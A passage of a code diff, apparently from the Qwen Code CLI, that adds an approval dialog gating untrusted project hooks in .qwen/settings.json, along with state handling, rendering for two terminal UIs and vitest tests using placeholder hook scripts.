getSessionId: vi.fn(() => 'test-session-id'),
isProjectHooksPendingApproval: vi.fn(() => false),
isProjectHooksRejected: vi.fn(() => false),
} as unknown as ReturnType<typeof useConfig>;
}
@@ -90,6 +100,8 @@ vi.mock('../../contexts/ConfigContext.js', async (importOriginal) => {
})),
})),
getSessionId: vi.fn(() => 'test-session-id'),
isProjectHooksPendingApproval: vi.fn(() => false),
isProjectHooksRejected: vi.fn(() => false),
})),
};
});
@@ -154,11 +166,18 @@ function createKey(name: string, sequence = ''): Key {
};
}
function mockSettingsHooks(userHooks: Record<string, unknown>): void {
function mockSettingsHooks(
userHooks: Record<string, unknown>,
workspaceHooks: Record<string, unknown> = {},
): void {
mockedUseSettings.mockReturnValue({
forScope: vi.fn((scope: SettingScope) => ({
settings:
scope === SettingScope.User ? { hooks: userHooks } : { hooks: {} },
scope === SettingScope.User
? { hooks: userHooks }
: scope === SettingScope.Workspace
? { hooks: workspaceHooks }
: { hooks: {} },
})),
} as unknown as ReturnType<typeof useSettings>);
}
@@ -414,4 +433,101 @@ describe('HooksManagementDialog', () => {
expect(lastFrame()).toContain('echo stop two');
});
});
it.each([
[false, 'approved)'],
[true, 'rejected)'],
])(
'marks withheld project hooks (rejected: %s) as %s',
async (rejected, label) => {
const defaultConfig = mockedUseConfig.getMockImplementation();
onTestFinished(() => {
mockedUseConfig.mockImplementation(defaultConfig!);
});
mockedUseConfig.mockImplementation(
() =>
({
...disabledHooksConfig(),
getDisableAllHooks: vi.fn(() => false),
isProjectHooksPendingApproval: vi.fn(() => true),
isProjectHooksRejected: vi.fn(() => rejected),
}) as unknown as ReturnType<typeof useConfig>,
);
mockSettingsHooks(
{},
{
PreToolUse: [
{
matcher: 'Bash',
hooks: [{ type: 'command', command: './repo-hook.sh' }],
},
],
},
);
const { lastFrame } = renderWithProviders(
<HooksManagementDialog onClose={mockOnClose} />,
);
await vi.waitFor(() => {
expect(lastFrame()).toContain('Hooks');
});
pressKey('return');
await vi.waitFor(() => {
expect(lastFrame()).toContain('Bash');
});
pressKey('return');
await vi.waitFor(() => {
expect(lastFrame()).toContain('./repo-hook.sh');
expect(lastFrame()).toContain('Local Settings · disabled');
expect(lastFrame()).toContain(label);
});
},
);
it('marks project hooks disabled when an ungated session lacks folder trust', async () => {
const defaultConfig = mockedUseConfig.getMockImplementation();
onTestFinished(() => {
mockedUseConfig.mockImplementation(defaultConfig!);
});
mockedUseConfig.mockImplementation(
() =>
({
...disabledHooksConfig(),
getDisableAllHooks: vi.fn(() => false),
isProjectHooksPendingApproval: vi.fn(() => false),
isProjectHooksRejected: vi.fn(() => false),
getProjectHooks: vi.fn(() => undefined),
}) as unknown as ReturnType<typeof useConfig>,
);
mockSettingsHooks(
{},
{
PreToolUse: [
{
matcher: 'Bash',
hooks: [{ type: 'command', command: './repo-hook.sh' }],
},
],
},
);
const { lastFrame } = renderWithProviders(
<HooksManagementDialog onClose={mockOnClose} />,
);
await vi.waitFor(() => {
expect(lastFrame()).toContain('Hooks');
});
pressKey('return');
await vi.waitFor(() => {
expect(lastFrame()).toContain('Bash');
});
pressKey('return');
await vi.waitFor(() => {
expect(lastFrame()).toContain('./repo-hook.sh');
expect(lastFrame()).toContain('Local Settings · disabled');
expect(lastFrame()).not.toContain('not approved');
});
});
});
@@ -347,7 +347,13 @@ export function HooksManagementDialog({
config: hookConfig,
source: HooksConfigSource.Project,
sourceDisplay: sourceDisplayMap[HooksConfigSource.Project],
enabled: true,
// Match the execution accessor: pending/rejected withholds;
// otherwise the block runs exactly when getProjectHooks()
// serves it (approved, or explicitly trusted, or headless).
enabled:
!config.isProjectHooksPendingApproval() &&
config.getProjectHooks() !== undefined,
rejected: config.isProjectHooksRejected(),
},
groupByMatcher,
);
@@ -0,0 +1,169 @@
/**
* @license
* Copyright 2026 Qwen Team
* SPDX-License-Identifier: Apache-2.0
*/
import { act } from 'react';
import { Box } from 'ink';
import { describe, expect, it, vi } from 'vitest';
import { renderWithProviders } from '../../../test-utils/render.js';
import {
PROJECT_HOOKS_DIALOG_DESCRIPTION,
ProjectHooksApprovalChoice,
ProjectHooksApprovalDialog,
fitProjectHooksDescription,
layoutProjectHooksLines,
} from './ProjectHooksApprovalDialog.js';
/** The dialog inside the main-area box `DefaultAppLayout` gives it. */
const renderAt = (lines: string[], width: number, height?: number) =>
renderWithProviders(
<Box width={Math.min(width - 4, 100)} marginX={2}>
<ProjectHooksApprovalDialog
lines={lines}
terminalWidth={width}
availableTerminalHeight={height}
onSelect={vi.fn()}
/>
</Box>,
);
const lines = Array.from(
{ length: 30 },
(_, i) => `SessionStart hook-${i}.sh`,
);
describe('ProjectHooksApprovalDialog', () => {
it('lists every hook when the height is unconstrained', () => {
const frame = renderAt(lines.slice(0, 2), 80).lastFrame() ?? '';
expect(frame).toContain('Untrusted hooks in .qwen/settings.json');
expect(frame).toContain('hook-0.sh');
expect(frame).toContain('hook-1.sh');
expect(frame).toContain('Approve these hooks');
});
it.each([
[80, 11],
[80, 12],
[80, 16],
[80, 20],
[80, 24],
[40, 24],
[100, 18],
])(
'keeps both options on screen at %ix%i, capping the list',
(width, height) => {
const frame = renderAt(lines, width, height).lastFrame() ?? '';
expect(frame.split('\n').length).toBeLessThanOrEqual(height);
expect(frame).toContain('Approve these hooks');
expect(frame).toContain('Reject');
expect(frame).toMatch(/… and \d+ more/);
},
);
it('clips the description, not the options, on a short terminal', () => {
// The real frame budgets terminalHeight - 5 rows; at 80x16 that is 11,
// less than the fixed chrome plus the full description.
const frame = renderAt(lines, 80, 11).lastFrame() ?? '';
expect(frame.split('\n').length).toBeLessThanOrEqual(11);
expect(frame).toContain('Reject');
expect(frame).not.toContain('This workspace declares hooks');
});
it.each([
['unconstrained', undefined, 30],
['roomy', 40, 25],
['one row past the chrome', 16, 1],
['shorter than the chrome', 6, 1],
])('lays out the list when %s', (_label, height, rows) => {
// Chrome at 80 columns: 9 fixed rows, the title and a 5-row description.
const header = ['title', `${'word '.repeat(64)}`];
const shown = layoutProjectHooksLines(lines, header, 80, height);
expect(shown).toHaveLength(rows);
if (rows < lines.length) {
expect(shown.at(-1)).toBe(
`… and ${lines.length - rows + 1} more (see .qwen/settings.json)`,
);
}
});
it('cuts a long hook to one row with a marker', () => {
const long = lines.map((line) => `${line} ${'x'.repeat(250)}`);
const frame = renderAt(long, 80, 24).lastFrame() ?? '';
expect(frame.split('\n').length).toBeLessThanOrEqual(24);
expect(frame).toMatch(/… \[\+\d+ chars\]/);
expect(frame).toContain('Reject');
});
it.each([
[ProjectHooksApprovalChoice.APPROVE, ['\r']],
[ProjectHooksApprovalChoice.REJECT, ['\u001b[B', '\r']],
])('emits %s for its row', async (choice, keys) => {
const onSelect = vi.fn();
const { stdin } = renderWithProviders(
<ProjectHooksApprovalDialog
lines={lines.slice(0, 1)}
terminalWidth={80}
onSelect={onSelect}
/>,
);
for (const key of keys) {
act(() => {
stdin.write(key);
});
await new Promise((resolve) => setTimeout(resolve, 0));
}
expect(onSelect).toHaveBeenCalledExactlyOnceWith(choice);
});
it('dismisses on Esc without choosing reject', async () => {
const onSelect = vi.fn();
const { stdin } = renderWithProviders(
<ProjectHooksApprovalDialog
lines={lines.slice(0, 1)}
terminalWidth={80}
onSelect={onSelect}
/>,
);
act(() => {
stdin.write('\u001b');
});
await new Promise((resolve) => setTimeout(resolve, 0));
expect(onSelect).toHaveBeenCalledWith(ProjectHooksApprovalChoice.DISMISS);
});
describe('fitProjectHooksDescription', () => {
it('keeps the full description when unconstrained', () => {
expect(
fitProjectHooksDescription(
PROJECT_HOOKS_DIALOG_DESCRIPTION,
80,
undefined,
),
).toBe(PROJECT_HOOKS_DIALOG_DESCRIPTION);
});
it('cuts rows to the budget the chrome and one list row leave', () => {
// At 80 columns the title takes one row, so the budget is height - 11.
expect(
fitProjectHooksDescription(PROJECT_HOOKS_DIALOG_DESCRIPTION, 80, 11),
).toBe('');
const three = fitProjectHooksDescription(
PROJECT_HOOKS_DIALOG_DESCRIPTION,
80,
14,
);
expect(three.split('\n')).toHaveLength(3);
expect(
PROJECT_HOOKS_DIALOG_DESCRIPTION.startsWith(three.split('\n')[0]),
).toBe(true);
const full = fitProjectHooksDescription(
PROJECT_HOOKS_DIALOG_DESCRIPTION,
80,
40,
);
expect(full.replace(/\n/g, ' ')).toBe(PROJECT_HOOKS_DIALOG_DESCRIPTION);
});
});
});
@@ -0,0 +1,227 @@
/**
* @license
* Copyright 2026 Qwen Team
* SPDX-License-Identifier: Apache-2.0
*/
import { Box, Text } from 'ink';
import type React from 'react';
import { theme } from '../../semantic-colors.js';
import type { RadioSelectItem } from '../shared/RadioButtonSelect.js';
import { RadioButtonSelect } from '../shared/RadioButtonSelect.js';
import { useKeypress } from '../../hooks/useKeypress.js';
import { fitHookLine, fitHookLines } from '../../../config/hook-approvals.js';
import { getCachedStringWidth } from '../../utils/textUtils.js';
export enum ProjectHooksApprovalChoice {
APPROVE = 'approve',
REJECT = 'reject',
/** Esc: no decision is stored, so the next start asks again. */
DISMISS = 'dismiss',
}
// English-only, like the MCP server approval dialog.
export const PROJECT_HOOKS_DIALOG_TITLE =
'Untrusted hooks in .qwen/settings.json';
export const PROJECT_HOOKS_DIALOG_DESCRIPTION =
"This workspace declares hooks: commands Qwen Code runs on events such as session start or before a tool call. Approving lets them run with your privileges. Approval is bound to this exact configuration and the workspace's .env files — if either changes, you will be asked again.";
/** Rows besides the title and description: border, padding, two margins, two options, the Esc hint. */
const PROJECT_HOOKS_DIALOG_FIXED_ROWS = 9;
/** The dialog's text width: main area (terminal less 4, at most 100) less margin, border and padding. */
function dialogTextWidth(terminalWidth: number): number {
return Math.max(1, Math.min(terminalWidth - 4, 100) - 5);
}
/** `text` word-wrapped at `width` columns; the row count chrome budgets with. */
function wrapRows(text: string, width: number): string[] {
const rows: string[] = [];
let current = '';
let used = 0;
for (const word of text.split(' ')) {
const w = getCachedStringWidth(word);
if (used > 0 && used + 1 + w > width) {
rows.push(current);
current = '';
used = 0;
}
current += (used > 0 ? ' ' : '') + word;
used += (used > 0 ? 1 : 0) + w;
// A word wider than the frame spans rows; the remainder stays for the
// next word.
while (used > width) {
let cut = 0;
let columns = 0;
for (const ch of current) {
const cw = getCachedStringWidth(ch);
if (columns + cw > width) break;
columns += cw;
cut += ch.length;
}
if (cut === 0) cut = current.length;
rows.push(current.slice(0, cut));
current = current.slice(cut);
used -= width;
}
}
rows.push(current);
return rows;
}
/** Rows `text` takes when word-wrapped at `width` columns. */
function wrappedRows(text: string, width: number): number {
return wrapRows(text, width).length;
}
/**
* Description rows the frame can show while the options stay on screen: the
* fixed chrome and title win, and one row stays for the hook list.
*/
function descriptionRowBudget(
titleRows: number,
availableHeight: number,
): number {
return Math.max(
0,
availableHeight - PROJECT_HOOKS_DIALOG_FIXED_ROWS - titleRows - 1,
);
}
/**
* The description cut to the rows the chrome leaves, so a short terminal
* clips it instead of the Reject option; '' when no row fits. Both renderers
* show this exact text, matching the chrome `layoutProjectHooksLines` budgets.
*/
export function fitProjectHooksDescription(
description: string,
terminalWidth: number,
availableHeight: number | undefined,
): string {
if (availableHeight === undefined) return description;
const width = dialogTextWidth(terminalWidth);
const budget = descriptionRowBudget(
wrappedRows(PROJECT_HOOKS_DIALOG_TITLE, width),
availableHeight,
);
return wrapRows(description, width).slice(0, budget).join('\n');
}
/**
* The hook rows both renderers show: the list capped to the rows the header
* leaves at this width, so the options stay on screen, and each row cut to
* the dialog's text width with a marker instead of a silent clip.
*/
export function layoutProjectHooksLines(
lines: readonly string[],
header: readonly string[],
terminalWidth: number,
availableHeight: number | undefined,
): readonly string[] {
const width = dialogTextWidth(terminalWidth);
const titleRows = wrappedRows(header[0], width);
const descriptionRows = header
.slice(1)
.reduce((rows, text) => rows + wrappedRows(text, width), 0);
const budget =
availableHeight === undefined
? undefined
: descriptionRowBudget(titleRows, availableHeight);
// On a short terminal the options win: the description shrinks first, then
// the list to its `… and N more` row, rather than push them out of the
// frame.
const chrome =
PROJECT_HOOKS_DIALOG_FIXED_ROWS +
titleRows +
(budget === undefined
? descriptionRows
: Math.min(descriptionRows, budget));
const shown =
availableHeight === undefined
? lines
: fitHookLines(lines, availableHeight - chrome);
// Rows are indented by two columns.
return shown.map((line) => fitHookLine(line, width - 2));
}
interface ProjectHooksApprovalDialogProps {
/** One line per configured hook, e.g. `SessionStart ./setup.sh`. */
lines: string[];
terminalWidth: number;
availableTerminalHeight?: number;
onSelect: (choice: ProjectHooksApprovalChoice) => void;
}
export const ProjectHooksApprovalDialog: React.FC<
ProjectHooksApprovalDialogProps
> = ({ lines, terminalWidth, availableTerminalHeight, onSelect }) => {
useKeypress(
(key) => {
if (key.name === 'escape') {
onSelect(ProjectHooksApprovalChoice.DISMISS);
}
},
{ isActive: true },
);
const options: Array<RadioSelectItem<ProjectHooksApprovalChoice>> = [
{
label: 'Approve these hooks',
value: ProjectHooksApprovalChoice.APPROVE,
key: 'approve',
},
{
label: 'Reject',
value: ProjectHooksApprovalChoice.REJECT,
key: 'reject',
},
];
const shown = layoutProjectHooksLines(
lines,
[PROJECT_HOOKS_DIALOG_TITLE, PROJECT_HOOKS_DIALOG_DESCRIPTION],
terminalWidth,
availableTerminalHeight,
);
const description = fitProjectHooksDescription(
PROJECT_HOOKS_DIALOG_DESCRIPTION,
terminalWidth,
availableTerminalHeight,
);
return (
<Box flexDirection="column">
<Box
flexDirection="column"
borderStyle="round"
borderColor={theme.status.warning}
padding={1}
width="100%"
marginLeft={1}
>
<Box flexDirection="column" marginBottom={1}>
<Text bold color={theme.text.primary}>
{PROJECT_HOOKS_DIALOG_TITLE}
</Text>
{description !== '' && (
<Text color={theme.text.primary}>{description}</Text>
)}
</Box>
<Box flexDirection="column" marginBottom={1}>
{shown.map((line, index) => (
<Text
key={`${index}-${line}`}
color={theme.text.primary}
wrap="truncate"
>
{` ${line}`}
</Text>
))}
</Box>
<RadioButtonSelect items={options} onSelect={onSelect} isFocused />
<Text color={theme.text.secondary}>Esc to decide later</Text>
</Box>
</Box>
);
};
@@ -37,6 +37,8 @@ export interface HookConfigDisplayInfo {
matcher?: string;
sequential?: boolean;
enabled: boolean;
/** Withheld because the user rejected the project hooks block. */
rejected?: boolean;
}
export const HOOKS_MANAGEMENT_STEPS = {
@@ -12,6 +12,7 @@ import { type IdeIntegrationNudgeResult } from '../IdeIntegrationNudge.js';
import { type CommandMigrationNudgeResult } from '../CommandFormatMigrationNudge.js';
import { type FolderTrustChoice } from '../components/FolderTrustDialog.js';
import { type McpApprovalChoice } from '../components/mcp/MCPServerApprovalDialog.js';
import { type ProjectHooksApprovalChoice } from '../components/hooks/ProjectHooksApprovalDialog.js';
import {
type EditorType,
type ApprovalMode,
@@ -75,6 +76,9 @@ export interface UIActions {
handleCommandMigrationComplete: (result: CommandMigrationNudgeResult) => void;
handleFolderTrustSelect: (choice: FolderTrustChoice) => void;
handleMcpApprovalSelect: (choice: McpApprovalChoice) => void;
handleProjectHooksApprovalSelect: (
choice: ProjectHooksApprovalChoice,
) => void;
setConstrainHeight: (value: boolean) => void;
onEscapePromptChange: (show: boolean) => void;
onTabConsumerChange: (active: boolean) => void;
@@ -32,6 +32,7 @@ import type {
import type { DOMElement } from 'ink';
import type { SessionStatsState } from '../contexts/SessionContext.js';
import type { PendingMcpServer } from '../hooks/useMcpApproval.js';
import type { PendingProjectHooks } from '../hooks/use-project-hooks-approval.js';
import type { ExtensionUpdateState } from '../state/extensions.js';
import type { UpdateObject } from '../utils/updateCheck.js';
@@ -120,6 +121,8 @@ export interface UIState {
currentMcpApproval: PendingMcpServer | undefined;
pendingMcpApprovals: PendingMcpServer[];
mcpApprovalRemaining: number;
isProjectHooksApprovalDialogOpen: boolean;
pendingProjectHooks: PendingProjectHooks | undefined;
isTrustedFolder: boolean | undefined;
constrainHeight: boolean;
ideContextState: IdeContext | undefined;
@@ -0,0 +1,272 @@
/**
* @license
* Copyright 2026 Qwen Team
* SPDX-License-Identifier: Apache-2.0
*/
// @vitest-environment jsdom
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
import { renderHook, act } from '@testing-library/react';
import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import type { Config } from '@qwen-code/qwen-code-core';
import type { LoadedSettings } from '../../config/settings.js';
import { useProjectHooksApproval } from './use-project-hooks-approval.js';
import { ProjectHooksApprovalChoice } from '../components/hooks/ProjectHooksApprovalDialog.js';
import { appEvents, AppEvent } from '../../utils/events.js';
import {
HOOK_APPROVALS_FILENAME,
getProjectHooksForApproval,
loadHookApprovals,
resetHookApprovalsForTesting,
} from '../../config/hook-approvals.js';
describe('useProjectHooksApproval', () => {
let dir: string;
let pending: boolean;
let rejected: boolean;
let reload: ReturnType<typeof vi.fn>;
let gateAtReload: boolean[];
const hooks = {
SessionStart: [{ hooks: [{ type: 'command', command: './setup.sh' }] }],
};
const makeConfig = (): Config => {
gateAtReload = [];
reload = vi.fn(() => {
gateAtReload.push(pending);
return Promise.resolve();
});
return {
isProjectHooksPendingApproval: () => pending,
setProjectHooksPendingApproval: (value: boolean, rej = false) => {
pending = value;
rejected = rej;
},
getWorkingDir: () => path.join(dir, 'elsewhere'),
getHookSystem: () => ({ reload }),
} as unknown as Config;
};
const makeSettings = (projectHooks: Record<string, unknown> | undefined) =>
({
merged: {},
getProjectHooks: () => projectHooks,
workspace: {
path: path.join(dir, '.qwen', 'settings.json'),
originalSettings: { hooks: projectHooks },
},
}) as unknown as LoadedSettings;
beforeEach(() => {
dir = fs.mkdtempSync(path.join(os.tmpdir(), 'use-hooks-approval-'));
process.env['QWEN_CODE_HOOK_APPROVALS_PATH'] = path.join(
dir,
HOOK_APPROVALS_FILENAME,
);
resetHookApprovalsForTesting();
pending = true;
rejected = false;
});
afterEach(() => {
delete process.env['QWEN_CODE_HOOK_APPROVALS_PATH'];
resetHookApprovalsForTesting();
fs.rmSync(dir, { recursive: true, force: true });
});
it('is closed when the config does not gate the project hooks', () => {
pending = false;
const config = makeConfig();
const settings = makeSettings(hooks);
const { result } = renderHook(() =>
useProjectHooksApproval(config, settings),
);
expect(result.current.isProjectHooksApprovalDialogOpen).toBe(false);
});
it('opens with one line per hook while the decision is pending', () => {
const config = makeConfig();
const settings = makeSettings(hooks);
const { result } = renderHook(() =>
useProjectHooksApproval(config, settings),
);
expect(result.current.isProjectHooksApprovalDialogOpen).toBe(true);
expect(result.current.pendingProjectHooks?.lines).toEqual([
'SessionStart ./setup.sh',
]);
});
it('does not re-prompt a settled rejection', async () => {
const config = makeConfig();
const settings = makeSettings(hooks);
await loadHookApprovals().setState(
getProjectHooksForApproval(settings)!,
'rejected',
);
const { result } = renderHook(() =>
useProjectHooksApproval(config, settings),
);
expect(result.current.isProjectHooksApprovalDialogOpen).toBe(false);
});
it.each([
[ProjectHooksApprovalChoice.APPROVE, false],
[ProjectHooksApprovalChoice.REJECT, false],
[ProjectHooksApprovalChoice.DISMISS, true],
])('on %s, notes withheld hooks: %s', async (choice, notes) => {
const addInfo = vi.fn();
const config = makeConfig();
const settings = makeSettings(hooks);
const { result } = renderHook(() =>
useProjectHooksApproval(config, settings, addInfo),
);
await act(() => result.current.handleProjectHooksApprovalSelect(choice));
expect(addInfo).toHaveBeenCalledTimes(notes ? 1 : 0);
if (notes) {
expect(addInfo.mock.calls[0][0]).toContain('were not loaded');
}
});
it('approve persists, un-gates the session, reloads the hooks and closes', async () => {
const config = makeConfig();
const settings = makeSettings(hooks);
const { result } = renderHook(() =>
useProjectHooksApproval(config, settings),
);
await act(() =>
result.current.handleProjectHooksApprovalSelect(
ProjectHooksApprovalChoice.APPROVE,
),
);
expect(result.current.isProjectHooksApprovalDialogOpen).toBe(false);
expect(pending).toBe(false);
// Un-gated first, or the reload would leave the approved hooks out.
expect(gateAtReload).toEqual([false]);
resetHookApprovalsForTesting();
expect(
loadHookApprovals().getState(getProjectHooksForApproval(settings)!),
).toBe('approved');
});
it('reject persists the rejection, keeps the gate and closes', async () => {
const config = makeConfig();
const settings = makeSettings(hooks);
const { result } = renderHook(() =>
useProjectHooksApproval(config, settings),
);
await act(() =>
result.current.handleProjectHooksApprovalSelect(
ProjectHooksApprovalChoice.REJECT,
),
);
expect(result.current.isProjectHooksApprovalDialogOpen).toBe(false);
expect(pending).toBe(true);
expect(rejected).toBe(true);
expect(reload).not.toHaveBeenCalled();
resetHookApprovalsForTesting();
expect(
loadHookApprovals().getState(getProjectHooksForApproval(settings)!),
).toBe('rejected');
});
it('keeps the hooks withheld and says so when the decision cannot be saved', async () => {
fs.mkdirSync(path.join(dir, HOOK_APPROVALS_FILENAME));
const addInfo = vi.fn();
const config = makeConfig();
const settings = makeSettings(hooks);
const { result } = renderHook(() =>
useProjectHooksApproval(config, settings, addInfo),
);
await act(() =>
result.current.handleProjectHooksApprovalSelect(
ProjectHooksApprovalChoice.APPROVE,
),
);
expect(pending).toBe(true);
expect(reload).not.toHaveBeenCalled();
expect(addInfo.mock.calls[0][0]).toContain('could not be saved');
});
it('keeps one select handler across a new addInfo', () => {
const config = makeConfig();
const settings = makeSettings(hooks);
const { result, rerender } = renderHook(
({ addInfo }: { addInfo: (text: string) => void }) =>
useProjectHooksApproval(config, settings, addInfo),
{ initialProps: { addInfo: vi.fn() } },
);
const before = result.current.handleProjectHooksApprovalSelect;
rerender({ addInfo: vi.fn() });
expect(result.current.handleProjectHooksApprovalSelect).toBe(before);
});
it('dismiss closes without storing a decision, so the next start asks again', async () => {
const config = makeConfig();
const settings = makeSettings(hooks);
const { result } = renderHook(() =>
useProjectHooksApproval(config, settings),
);
await act(() =>
result.current.handleProjectHooksApprovalSelect(
ProjectHooksApprovalChoice.DISMISS,
),
);
expect(result.current.isProjectHooksApprovalDialogOpen).toBe(false);
expect(pending).toBe(true);
resetHookApprovalsForTesting();
expect(
loadHookApprovals().getState(getProjectHooksForApproval(settings)!),
).toBe('pending');
});
it('stays dismissed for the session until the block changes', async () => {
const config = makeConfig();
const current = { hooks: hooks as Record<string, unknown> };
const settings = {
merged: {},
getProjectHooks: () => current.hooks,
workspace: {
path: path.join(dir, '.qwen', 'settings.json'),
get originalSettings() {
return { hooks: current.hooks };
},
},
} as unknown as LoadedSettings;
const { result } = renderHook(() =>
useProjectHooksApproval(config, settings),
);
await act(() =>
result.current.handleProjectHooksApprovalSelect(
ProjectHooksApprovalChoice.DISMISS,
),
);
// A `/hooks` reload of the same block must not re-open it.
act(() => {
appEvents.emit(AppEvent.ProjectHooksPendingApprovalChanged);
});
expect(result.current.isProjectHooksApprovalDialogOpen).toBe(false);
act(() => {
current.hooks = {
SessionStart: [{ hooks: [{ type: 'command', command: './other.sh' }] }],
};
appEvents.emit(AppEvent.ProjectHooksPendingApprovalChanged);
});
expect(result.current.isProjectHooksApprovalDialogOpen).toBe(true);
});
it('re-evaluates when a hooks reload leaves the block pending', () => {
pending = false;
const config = makeConfig();
const settings = makeSettings(hooks);
const { result } = renderHook(() =>
useProjectHooksApproval(config, settings),
);
expect(result.current.isProjectHooksApprovalDialogOpen).toBe(false);
act(() => {
pending = true;
appEvents.emit(AppEvent.ProjectHooksPendingApprovalChanged);
});
expect(result.current.isProjectHooksApprovalDialogOpen).toBe(true);
});
});
@@ -0,0 +1,124 @@
/**
* @license
* Copyright 2026 Qwen Team
* SPDX-License-Identifier: Apache-2.0
*/
import { useState, useCallback, useEffect, useRef } from 'react';
import type { Config } from '@qwen-code/qwen-code-core';
import type { LoadedSettings } from '../../config/settings.js';
import {
getProjectHooksApprovalState,
getProjectHooksForApproval,
hashProjectHooks,
loadHookApprovals,
summarizeProjectHooks,
type ProjectHooksApproval,
} from '../../config/hook-approvals.js';
import { ProjectHooksApprovalChoice } from '../components/hooks/ProjectHooksApprovalDialog.js';
import { appEvents, AppEvent } from '../../utils/events.js';
import { getErrorMessage } from '@qwen-code/qwen-code-core/utils/errors.js';
export interface PendingProjectHooks {
approval: ProjectHooksApproval;
/** One sanitized display line per configured hook. */
lines: string[];
}
/**
* Drives the startup approval dialog for the workspace's project hooks, the
* hook counterpart of `useMcpApproval`: a cloned repository's
* `.qwen/settings.json` can declare arbitrary commands, so they load only
* after the user approves this exact configuration. Approving persists the
* hash-bound decision, un-gates the hooks for this session and reloads the
* registry; rejecting persists the rejection; dismissing (Esc) leaves the
* decision open until the next start or until the block changes, and says so
* via `addInfo`.
*/
export const useProjectHooksApproval = (
config: Config,
settings: LoadedSettings,
addInfo?: (text: string) => void,
) => {
const [pending, setPending] = useState<PendingProjectHooks | undefined>();
// Latest caller callback without making the select handler unstable.
const addInfoRef = useRef(addInfo);
addInfoRef.current = addInfo;
// A dismissed block stays dismissed this session, so `/hooks` can show it.
const dismissedHashRef = useRef<string | undefined>(undefined);
const computePending = useCallback((): PendingProjectHooks | undefined => {
if (!config.isProjectHooksPendingApproval()) return undefined;
const approval = getProjectHooksForApproval(settings);
if (
!approval ||
getProjectHooksApprovalState(approval) !== 'pending' ||
hashProjectHooks(approval) === dismissedHashRef.current
) {
return undefined;
}
return {
approval,
lines: summarizeProjectHooks(approval.resolved, approval.hooks),
};
}, [config, settings]);
useEffect(() => {
setPending(computePending());
}, [computePending]);
// A `/hooks` reload can edit the gated block mid-session (a changed hash
// invalidates its decision); re-evaluate so the dialog pops right away.
useEffect(() => {
const onPendingChanged = () => {
setPending(computePending());
};
appEvents.on(AppEvent.ProjectHooksPendingApprovalChanged, onPendingChanged);
return () => {
appEvents.off(
AppEvent.ProjectHooksPendingApprovalChanged,
onPendingChanged,
);
};
}, [computePending]);
const handleProjectHooksApprovalSelect = useCallback(
async (choice: ProjectHooksApprovalChoice) => {
if (!pending) return;
setPending(undefined);
if (choice === ProjectHooksApprovalChoice.DISMISS) {
dismissedHashRef.current = hashProjectHooks(pending.approval);
addInfoRef.current?.(
'Project hooks in .qwen/settings.json were not loaded. Restart Qwen Code to decide in the approval dialog; /hooks shows them as not approved.',
);
return;
}
const approve = choice === ProjectHooksApprovalChoice.APPROVE;
try {
await loadHookApprovals().setState(
pending.approval,
approve ? 'approved' : 'rejected',
);
} catch (error) {
// Nothing was saved: keep the hooks withheld and say so.
addInfoRef.current?.(
`Project hooks were not loaded: the decision could not be saved (${getErrorMessage(error)}).`,
);
return;
}
if (approve) {
config.setProjectHooksPendingApproval(false);
await config.getHookSystem()?.reload();
} else {
config.setProjectHooksPendingApproval(true, true);
}
},
[config, pending],
);
return {
isProjectHooksApprovalDialogOpen: pending !== undefined,
pendingProjectHooks: pending,
handleProjectHooksApprovalSelect,
};
};
@@ -109,8 +109,15 @@ import {
} from '@qwen-code/qwen-code-core';
import {
buildConfirmationPrompt,
OpenTuiProjectHooksApprovalDialog,
OpenTuiToolConfirmation,
} from './dialogs-confirm.js';
import {
layoutProjectHooksLines,
PROJECT_HOOKS_DIALOG_DESCRIPTION,
PROJECT_HOOKS_DIALOG_TITLE,
ProjectHooksApprovalChoice,
} from '../components/hooks/ProjectHooksApprovalDialog.js';
const onConfirmNoop = async () => {};
@@ -1552,3 +1559,59 @@ describe('OpenTuiToolConfirmation', () => {
expect(container.textContent).toContain('lines hidden');
});
});
describe('OpenTuiProjectHooksApprovalDialog', () => {
const lines = Array.from({ length: 30 }, (_, i) => `Stop hook-${i}.sh`);
beforeEach(() => {
mocks.state.keyboardHandlers.length = 0;
mocks.state.dimensions = { width: 110, height: 40 };
});
it.each([
['escape', [{ name: 'escape' }], ProjectHooksApprovalChoice.DISMISS],
[
'enter',
[{ name: 'return', sequence: '\r' }],
ProjectHooksApprovalChoice.APPROVE,
],
[
'down + enter',
[{ name: 'down' }, { name: 'return', sequence: '\r' }],
ProjectHooksApprovalChoice.REJECT,
],
])('maps %s to its choice', (_name, keys, expected) => {
const onSelect = vi.fn();
render(
<OpenTuiProjectHooksApprovalDialog lines={lines} onSelect={onSelect} />,
);
for (const key of keys) {
act(() => {
for (const handler of mocks.state.keyboardHandlers) handler(key);
});
}
expect(onSelect).toHaveBeenCalledExactlyOnceWith(expected);
});
it('budgets the list by the dialog region, not the terminal height', () => {
const view = render(
<OpenTuiProjectHooksApprovalDialog
lines={lines}
availableTerminalHeight={20}
onSelect={vi.fn()}
/>,
);
const header = [
PROJECT_HOOKS_DIALOG_TITLE,
PROJECT_HOOKS_DIALOG_DESCRIPTION,
];
const rows = (height: number) =>
layoutProjectHooksLines(lines, header, 110, height);
expect(rows(20)).not.toEqual(rows(40));
const rendered = Array.from(view.container.querySelectorAll('span'))
.map((span) => span.textContent ?? '')
.filter((text) => text.startsWith(' '))
.map((text) => text.slice(2));
expect(rendered).toEqual(rows(20));
});
});
@@ -82,6 +82,13 @@ import { normalizePastedText } from './input-prompt-model.js';
import { caretSpans, useLineEdit } from './line-edit.js';
import type { ShellConfirmationResolution } from './commands-context.js';
import { McpApprovalChoice } from '../components/mcp/MCPServerApprovalDialog.js';
import {
fitProjectHooksDescription,
layoutProjectHooksLines,
PROJECT_HOOKS_DIALOG_DESCRIPTION,
PROJECT_HOOKS_DIALOG_TITLE,
ProjectHooksApprovalChoice,
} from '../components/hooks/ProjectHooksApprovalDialog.js';
import { computeHeaderCap } from '../components/messages/AskUserQuestionDialog.js';
import type { PendingMcpServer } from '../hooks/useMcpApproval.js';
import { t } from '../../i18n/index.js';
@@ -1461,3 +1468,88 @@ export function OpenTuiMcpApprovalDialog(props: OpenTuiMcpApprovalProps) {
</box>
);
}
interface OpenTuiProjectHooksApprovalProps {
/** One line per configured hook, e.g. `SessionStart ./setup.sh`. */
lines: readonly string[];
/** The shell's dialog region, so the list budget matches the ink renderer. */
availableTerminalHeight?: number;
onSelect: (choice: ProjectHooksApprovalChoice) => void;
}
const PROJECT_HOOKS_APPROVAL_OPTIONS: Array<
